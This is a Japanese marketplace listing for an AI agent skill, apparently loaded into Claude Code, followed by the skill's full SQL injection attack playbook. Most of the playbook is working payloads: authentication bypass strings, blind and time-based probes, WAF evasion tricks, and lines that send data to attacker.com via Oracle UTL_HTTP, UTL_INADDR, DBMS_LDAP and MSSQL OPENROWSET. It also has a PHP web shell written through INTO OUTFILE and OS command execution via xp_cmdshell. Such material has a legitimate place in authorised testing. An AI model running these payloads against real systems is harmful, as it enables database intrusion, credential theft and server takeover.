mcpField
S
sqli-sql-injection

sqli-sql-injection

github.com/yaklangセキュリティ2.6k4.1k 回インストール6 週間前に更新
リポジトリ

sqli-sql-injection について

セキュリティ研究者やバグバウンティハンター向けの高度な SQL インジェクション手引きです。データベースや注入の挙動、権限昇格の経路ごとに検証方法を整理し、追加シナリオの資料も案内します。

主な機能

  1. 01データベース別の SQLi 検証
  2. 02ブール・時間盲注の推論
  3. 03アウトオブバンドのデータ抽出
  4. 04二次注入の分析
  5. 05フィルター回避と権限昇格

活用シーン

  1. 01SQL インジェクション疑いの検証
  2. 02エラーからのデータベース特定
  3. 03盲注の挙動調査
  4. 04保存データを使うクエリの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill sqli-sql-injection

インストール後、Claude Code で/sqli-sql-injectionを入力して読み込まれたか確認します。

同梱ファイルSCENARIOS.mdSQLMAP_ADVANCED.md

詳細

スキル:SQL インジェクション — エキスパート向け攻撃プレイブック

AI 読み込み指示:高度な SQLi テクニックです。基本的な UNION/エラー/ブール値ベースのブラインド手法を理解していることを前提とします。重点項目:データベースごとの悪用、アウトオブバンドでのデータ窃取、二次インジェクション、パラメーター化クエリのバイパスシナリオ、フィルター回避、OS への権限昇格。実際の CVE 事例、SMB/DNS による OOB データ窃取、INSERT/UPDATE インジェクションのパターン、フレームワーク固有の悪用(ThinkPHP、Django GIS)については、関連する SCENARIOS.md を読み込んでください。

0. 関連するルーティング

  • バックエンドが Jackson を使用する Java で、SQL キーワードが WAF にブロックされる場合は、ghost-bits-cast-attack を参照してください。Jackson の charToHex テーブルは ch & 0xFF をインデックスに使用するため、丰(U+4E30)のような Unicode 文字は \uXXXX エスケープシーケンス内で 16 進数の 0 として解釈されます。これにより、WAF に検知されずに UNION、SELECT、1 などを紛れ込ませることができます。

1. クイックスタート

拡張シナリオ

以下が必要な場合は、SCENARIOS.md も読み込んでください。

  • LOAD_FILE と UNC パスを使った SMB アウトオブバンドデータ窃取(Windows MySQL)
  • KEY インジェクション/URI インジェクション/非パラメーター化インジェクションポイント
  • INSERT/DELETE/UPDATE ステートメントのインジェクションの違い
  • ThinkPHP5 の配列キーインジェクション(updatexml によるエラーベースの手法)
  • Django GIS Oracle の utl_inaddr.get_host_name CVE
  • ORDER BY/LIMIT のインジェクションテクニック
高度なリファレンス

以下が必要な場合は、SQLMAP_ADVANCED.md も読み込んでください。

  • SQLMap のタンパースクリプト一覧、および WAF を回避するタンパーチェーンのレシピ(space2comment、between、charencode など)
  • --technique、--risk/--level の組み合わせ、および二次インジェクション用の --second-url
  • SQLMap による OS レベルの悪用を行う --os-shell/--os-pwn
  • データ窃取の例を含む INSERT/UPDATE/DELETE インジェクションのパターン
  • GraphQL と SQL インジェクション(バッチクエリ、ネストされたフィールドへのインジェクション、ミューテーションへのインジェクション)
  • データベース固有の高度な関数:PostgreSQL のドル記号によるクォート、MSSQL のリンクサーバー、Oracle の DBMS_PIPE/DBMS_SCHEDULER

SQL シンクが疑わしいと確認できただけの場合は、まず追加のペイロードスキルを読み込まず、ここで初回の検証を完了してください。

初回検証用のペイロードファミリー
状況最初に試すもの理由
ログインまたはブール分岐' or 1=1--認証や条件チェックの変化をすばやく確認できます
数値パラメーター1 or 1=1クォートへの依存を避けられます
ORDER BY/ソート1,2,3、次に 1 desc--構造の調査に適しています
SQL エラーが表示される'、次に DBMS 固有のエラープローブエラーテキストから DBMS の手がかりが得られます
出力が表示されない時間ベースのペイロードブラインド対象で安定した代替手段です
強力なフィルタリング/WAFポリグロットまたは空白を使わないバリエーションパーサーの混乱を引き起こす余地を広げます
初回検証用の、少数で安定したセット
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS の判別ヒント
手がかり可能性の高い DBMS次に試すこと
You have an error in your SQL syntaxMySQLSLEEP() と @@version を試します
Microsoft OLE DB ProviderMSSQLWAITFOR DELAY を試します
PG::/PostgreSQLPostgreSQLpg_sleep() を試します
ORA- で始まるOracleアウトオブバンド機能または XML 機能に切り替えます
SQLite のエラー、ローカルアプリSQLiteブール値/UNION とファイルベースの挙動に注目します

1. 検出 — 微妙な兆候

SQLi の多くは、エラーではなく挙動の違いから見つかります。

シグナル意味
' と '' でページの読み込み方が異なる文字列コンテキストのインジェクションポイント
数値:1、1-1、2-1 で同じ結果が返る算術演算が評価されています
条件内の 1=1 と 1=2 で結果が変わるブール値ベースのインジェクション
ORDER BY N を使った SELECT による列数の列挙UNION の準備
時間遅延:'; WAITFOR DELAY '0:0:5'--ブラインド/時間ベース
' で 500 エラー、'' で 200未処理の例外による SQLi
HTTP レスポンスサイズの違いブール値ベースのブラインド手法を示す兆候

重要:あらゆる種類のパラメーターでテストしてください。URL クエリ、POST ボディ、JSON フィールド、XML 値、HTTP ヘッダー(X-Forwarded-For、User-Agent、Referer、Cookie の値)が対象です。


2. データベースのフィンガープリンティング

-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user

エラーベースのフィンガープリント:' を注入し、エラーメッセージの形式を確認します。MySQL のエラーは Oracle や MSSQL のものとは異なります。


3. UNION ベースのデータ抽出

列数の特定:

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns

列の型の検出(NULL が最も安全です):

UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column

データベース固有の文字列連結(列が整数のみを受け付ける場合に必要):

-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. ブラインドインジェクション — 推論手法

ブーリアンベースのブラインド(条件による応答の違い)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
時間ベースのブラインド(応答に違いがない場合)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. アウトオブバンド(OOB)によるデータ窃取 — 重要

ブラインドインジェクションに時間やブーリアンの判定指標がない場合、または一括クエリでデータをインラインで返せない場合に使用します。

MSSQL — OpenRowSet(SQLOLEDB と送信 TCP が必要)
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

ファイアウォールの送信制限を回避するには、ポート 80 または 443 を使用します。

Oracle — UTL_HTTP(URL パスにデータを含めた HTTP GET)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle の UTL_HTTP はプロキシに対応しているため、企業プロキシ経由でデータを窃取できます!

Oracle — UTL_INADDR(DNS によるデータ窃取 — HTTP の制限を回避できることが多い)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

攻撃者には次のように表示されます:HASH_VALUE.attacker.com への DNS クエリ → パスワードハッシュを読み取ります。

Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — LOAD_FILE 経由の DNS(Windows + UNC パス)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE(インバンドでのファイルシステムへの書き込み)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''

6. 権限昇格 — OS コマンドの実行

MSSQL — xp_cmdshell(有効な場合、または sysadmin の場合)
'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF(ユーザー定義関数)

悪意のある共有ライブラリをファイルシステムに書き込み、その後 CREATE FUNCTION ... SONAME を実行します。

Oracle — Java ストアドプロシージャ
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime

7. セカンドオーダーインジェクション

概念:ユーザー入力は安全に保存されます(パラメーター化されます)が、後で信頼できるデータとして取得され、再サニタイズされずに新しいクエリへ連結されます。

攻撃の流れの例:

  1. ユーザー名を登録します:admin'--
  2. アプリケーションはこれをユーザーテーブルに安全に挿入します
  3. パスワード変更機能がセッションからユーザー名を取得し(信頼済み!)、次のクエリを構築します:
    UPDATE users SET password='newpass' WHERE username='admin'--'
    
  4. コメントによって条件が無効になり、admin のパスワードが更新されます

重要なポイント:保存済みデータを読み取り、新しい DB クエリで使用するアプリケーション機能はすべて、セカンドオーダー攻撃の候補です。パスワード変更、プロフィール更新、ユーザーデータに対する管理者操作を確認してください。


8. パラメーター化クエリを回避できるシナリオ

次の場合、パラメーター化クエリでは SQLi を防げません。

  1. テーブル名や列名がユーザーによって制御される場合 — パラメーターでは識別子をパラメーター化できません:

    -- UNSAFE even with params:
    "SELECT * FROM " + tableName + " WHERE id = ?"
    

    緩和策:テーブル名や列名をホワイトリストで検証します。

  2. 部分的なパラメーター化 — 一部のフィールドは連結され、他のフィールドはパラメーター化される場合:

    "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
    -- userType not parameterized → injection
    
  3. 動的な件数を使う IN 句(ORM でよくある誤り):

    SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
    
  4. セカンドオーダー — DB から取得したデータを安全なものとみなし、パラメーターを使わずにクエリで再利用する場合。


9. フィルター回避手法

コメントの注入(キーワードを分割する)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
大文字・小文字の変更
UnIoN SeLeCt
URL エンコーディング
%55NION  -- U
%53ELECT -- S
空白の代替
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline
文字列の構築(文字列リテラルの検出を回避する)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. データベースのメタデータ抽出

MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. ストアドプロシージャの悪用

MSSQL — sp_OAMethod(COM オートメーション)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP(送信 LDAP = DNS によるデータ窃取)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. クイックリファレンス — インジェクションのテスト文字列

'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

13. WAF バイパス一覧

手法ブロックされる例バイパス
スペースがフィルタリングされるSELECT * FROMSELECT/**/*//**/FROM, SELECT%0a*%0aFROM
カンマがフィルタリングされるUNION SELECT 1,2,3UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
引用符がフィルタリングされる'admin'0x61646D696E(16 進数)、CHAR(97,100,109,105,110)
OR/AND がフィルタリングされるOR 1=1||1=1, &&1=1, DIV 0
= がフィルタリングされるid=1id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1
SELECT がフィルタリングされるhandler(MySQL)、PREPARE+16 進数、またはスタッククエリを使用します
information_schema がフィルタリングされるmysql.innodb_table_stats, sys.schema_table_statistics

その他の WAF バイパスパターン:

  • ポリグロット:SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
  • ルーティングインジェクション:1' UNION SELECT 0x(inner_payload_hex)-- -。内部ペイロードは、16 進数でエンコードされた別の完全なクエリです
  • セカンドオーダー:ストレージにインジェクションし、後で別のクエリでデータが使用されるときにトリガーします
  • PDO エミュレート準備:PDO::ATTR_EMULATE_PREPARES=true の場合、パラメーター化されているように見えるコードでもスタッククエリが機能します

14. WAF バイパス一覧

スペースなしバイパス
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
カンマなしバイパス
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
ポリグロットインジェクション
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
ルーティングインジェクション
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
セカンドオーダーインジェクション
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO/プリペアドステートメントのエッジケース
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
エントリーポイントの検出(Unicode のトリック)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '

コメント